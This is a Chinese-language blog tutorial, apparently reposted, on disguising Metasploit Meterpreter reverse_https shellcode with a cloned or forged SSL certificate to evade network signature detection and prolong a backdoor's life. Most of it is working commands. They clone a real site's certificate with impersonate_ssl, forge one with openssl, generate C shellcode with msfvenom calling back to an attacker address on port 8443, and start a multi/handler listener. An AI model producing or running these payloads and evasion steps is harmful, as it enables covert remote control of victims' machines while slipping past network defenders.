在本節中,我們將介紹如何通過使用Metasploit
生成加密載荷,以隱藏網路特征,前一章節我們已經通過Metasploit
生成了一段明文的ShellCode,但明文的網路傳輸存在安全隱患,因此本節將介紹如何通過生成SSL證書來加密ShellCode,使得網路特征得到隱藏,從而提高后門的生存能力和抵抗網路特征分析的能力,
ShellCode 網路特征加密我們采用的是SSL(Secure Sockets Layer),現已被替換為TLS(Transport Layer Security),SSL是一種用于在Web上傳輸資料的安全協議,它的主要目的是確保在互聯網上傳輸的資料在傳遞程序中不會被第三方竊取或篡改,SSL加密的原理是通過兩個公鑰和一個私鑰來加密資料,公鑰用于加密資料,私鑰用于解密資料,在傳輸程序中,發送者使用接收者的公鑰對資料進行加密,接收者使用自己的私鑰對資料進行解密,這樣,即使在網路上被竊取,資料也無法被第三方解密,從而保證了資料的安全性,
通常,SSL證書由以下幾部分組成:
- 證書主體:證明證書擁有者的資訊,如域名、組織名稱等,
- 公鑰:用于加密資料的公鑰,
- 私鑰:用于解密資料的私鑰,需要在安全的環境中保存,
- 簽名:證明證書內容是由可信任的證書頒發機構簽發的,
- 有效期:證明證書的有效期,在該期限內有效,
- 頒發者:證明證書的頒發者,如VeriSign、GoDaddy等,
1.3.1 通過MSF模塊克隆證書
要想實作加密通常我們需要獲取一個專屬的證書檔案,獲取證書的方式有兩種,第一種方式是通過Impersonate_SSL
模塊,對已有證書進行下載操作,如下命令實作了將www.lyshark.com
網站中的證書下載到本地的功能,
msf6 > use auxiliary/gather/impersonate_ssl
msf6 > set rhost www.lyshark.com
msf6 > run
當讀者執行命令后,則該證書將被下載到home/lyshark/.msf4/loot/
目錄下,其中包含了證書的key,crt,pem
等檔案,輸出如下圖所示;
當具備了克隆證書后,讀者可在Metasploit
中互動式執行如下命令實作生成帶有加密功能的ShellCode
代碼,如下代碼中通過HANDLERSSLCERT
指定證書位置,并通過generate
生成C語言版ShellCode代碼,
msf6 > use payload/windows/meterpreter/reverse_https
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set LHOST 192.168.9.135
msf6 > set lport 8443
msf6 > generate -f c
而對于服務端來說,在傳遞引數時,讀者同樣需要在HANDLERSSLCERT
中傳遞私有證書,
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set LPORT 8443
msf6 > set LHOST 192.168.140.128
msf6 > run -j
1.3.2 通過OpenSSL制作證書
當然讀者也可用通過kali
系統內自帶的openssl
命令生成一個新的偽造證書,OpenSSL是一個開源的安全工具,用于實作SSL/TLS
協議,它提供了一系列命令列工具,可以用于生成證書、加密資料、解密資料等操作,
首先使用第一種方式生成,下面是各個引數的詳細解釋:
- req:指定生成證書請求,
- new:指定生成一個新的證書請求,
- newkey rsa:4096:指定生成的證書的密鑰長度為4096位,
- days 365:指定證書的有效期為365天,
- nodes:指定不加密私鑰,
- x509:指定生成的證書型別為X.509證書,
- subj “/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com”:指定證書主題資訊,其中C=UK代表國家,ST=London代表省份,L=London代表城市,O=Development代表組織,CN=www.lyshark.com代表通用名稱,
- keyout www.lyshark.com.key:指定輸出的私鑰檔案名,
- out www.lyshark.com.crt:指定輸出的證書檔案名,
通過這條命令,可以生成一個有效期為365天,密鑰長度為4096位的X.509證書,證書主題資訊為"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com",私鑰檔案名為www.lyshark.com.key,證書檔案名為www.lyshark.com.crt,
┌──(lyshark?kali)-[~/lyshark]
└─$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj \
"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com" \
-keyout www.lyshark.com.key -out www.lyshark.com.crt
┌──(lyshark?kali)-[~/lyshark]
└─$ cat www.lyshark.com.key www.lyshark.com.crt > www.lyshark.com.pem
接著讀者可執行msfvenom
命令通過非互動方式生成一段加密版的ShellCode代碼片段,
┌──(lyshark?kali)-[~/lyshark]
└─$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.9.135 LPORT=8443 \
PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \
HandlerSSLCert=/root/test/www.lyshark.com.pem \
StagerVerifySSLCert=true -f c -o /root/test.c
服務端啟用偵聽模式,并通過HandlerSSLCert
傳入同樣的證書私鑰即可,
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set LHOST 192.168.9.135
msf6 > set LPORT 8443
msf6 > set HandlerSSLCert /root/test/www.baidu.com.pem
msf6 > set StagerVerifySSLCert true
msf6 > exploit -j -z
文章作者:lyshark (王瑞)文章出處:https://www.cnblogs.com/LyShark/p/17519261.html
本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/556479.html
標籤:訊息安全
上一篇:記錄--讓整個網站界面無滾動條
下一篇:返回列表